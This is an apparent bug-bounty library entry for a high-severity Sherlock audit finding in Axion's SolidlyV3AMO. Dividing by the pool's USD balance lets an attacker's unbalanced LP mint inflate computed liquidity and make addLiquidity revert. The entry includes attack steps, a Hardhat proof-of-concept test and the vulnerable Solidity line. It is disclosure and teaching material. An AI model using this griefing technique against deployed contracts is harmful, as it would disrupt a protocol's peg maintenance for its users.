# Liquidity is incorrectly calculated during `addLiquidity()` for V3AMO, causing DoS.

V3AMO computes liquidity from pool USD balance, so an attacker's unbalanced LP position inflates required USD and bricks addLiquidity/mintSellFarm.

- Payout: Audit contest
- Severity: high
- Program: Axion
- Found by: 0x37
- Disclosed: 2024-10-07
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-10-axion-judging/issues/280
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-10-axion%3AH-4
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:dos

**Target:** SolidlyV3AMO.addLiquidity / SolidlyV3 pool
**Root cause:** Liquidity is derived as usdAmount*currentLiquidity/pool USD balance, ignoring that multiple tick positions cover the current tick; total liquidity is not proportional to USD reserves.
**Steps:**
1. Attacker calls `pool.mint(amoAddress, tickLower-10, tickUpper, liquidity*3, 0, 0, deadline)` depositing mostly BOOST, no USD, inflating `pool.liquidity()` without raising USD balance.
2. Victim/AMO mints USD and calls `addLiquidity(usdAmount,...)`.
3. Contract computes `liquidity = usdAmount*currentLiquidity/USD.balanceOf(pool)`, now oversized.
4. `pool.mint` requires more USD than approved `usdAmount`, reverting; `mintSellFarm()` also fails.
**How found:** Recognized SolidlyV3 shares UniswapV3 liquidity math where total liquidity spans multiple tick ranges, so dividing by pool USD balance is invalid; hypothesized an attacker could skew the ratio via LP mint.
**Exploitation:** Attacker adds an unbalanced LP position (BOOST-heavy, no USD) at near-current tick to inflate total pool liquidity at zero cost since BOOST/USD returns to 1:1; subsequent addLiquidity calls revert, breaking the peg-maintenance mechanism.
**Insight:** When a contract derives share/liquidity amounts from pool-wide totals (liquidity(), balanceOf) rather than tick-range sqrt-price math, check whether an outsider can mint a position to skew that denominator and force reverts.

## Proof of concept (copied exactly from the original report)

**Test adding unbalanced LP then addLiquidity fails**

```
it("Should execute addLiquidity successfully", async function() {
        // Step 1: Add unbalanced liquidity so that total liquidity increases, but USD.balanceOf(pool) does not increase.
        {
          // -276325 is the current slot0 tick.
          console.log(await pool.slot0());
          await boost.connect(boostMinter).mint(admin.address, boostDesired * 100n);
          await testUSD.connect(boostMinter).mint(admin.address, usdDesired * 100n);
          await boost.approve(poolAddress, boostDesired * 100n);
          await testUSD.approve(poolAddress, usdDesired * 100n);
          console.log(await boost.balanceOf(admin.address));
          console.log(await testUSD.balanceOf(admin.address));
          await pool.mint(
            amoAddress,
            -276325 - 10,
            tickUpper,
            liquidity * 3n,
            0,
            0,
            deadline
          );
          console.log(await boost.balanceOf(admin.address));
          console.log(await testUSD.balanceOf(admin.address));
        }

        // Step 2: Mint some USD to SolidlyV3AMO for adding liquidity.
        await testUSD.connect(admin).mint(amoAddress, ethers.parseUnits("1000", 6));
        const usdBalance = await testUSD.balanceOf(amoAddress);

        // Step 3: Add liquidity fails due to incorrect liquidity calculation.
        await expect(solidlyV3AMO.connect(amo).addLiquidity(
          usdBalance,
          1,
          1,
          deadline
        )).to.emit(solidlyV3AMO, "AddLiquidity");
      });
```

**Vulnerable liquidity calculation in _addLiquidity**

```
uint128 currentLiquidity = ISolidlyV3Pool(pool).liquidity();
@>      liquidity = (usdAmount * currentLiquidity) / IERC20Upgradeable(usd).balanceOf(pool);
```

